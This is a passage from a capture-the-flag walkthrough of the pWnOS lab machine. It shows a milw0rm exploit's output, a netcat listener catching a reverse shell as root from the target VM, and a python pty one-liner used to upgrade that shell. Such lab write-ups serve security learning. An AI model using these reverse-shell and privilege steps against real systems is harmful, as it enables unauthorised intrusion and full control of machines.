Attacking 192.168.95.25
---------------------------------
Browser IP address appears to be: 192.168.95.3<p>
---------------------------------
Coded by joffer , http://securitydot.net
# milw0rm.com [2006-07-09]
┌──(kali㉿kali)-[~/Downloads]
└─$
The PHP script executes the CGI script on the target system, which triggers a reverse shell connection back to the
Netcat listener
.
This connection provided us with a root shell on the target
system.
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.95.3] from (UNKNOWN) [192.168.95.25] 60390
13:53:19 up 4:34, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
vmware pts/0 192.168.95.3 11:56 30.00s 0.16s 0.16s -bash
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux
uid=0 gid=0(root)
/
/usr/sbin/apache: can't access tty; job control turned off
#
id
uid=0 gid=0(root)
#
which python
/usr/bin/python
#
python -c "import pty;pty.spawn('/bin/bash')"
I have no name!@ubuntuvm:/#
With a root shell established, inspect the
system for flags.
In this exercise, no flags were found, so we conclude today's
tutorial. If you have any doubts or questions, feel free to ask in the comments
section. See you in
pWnOS 2!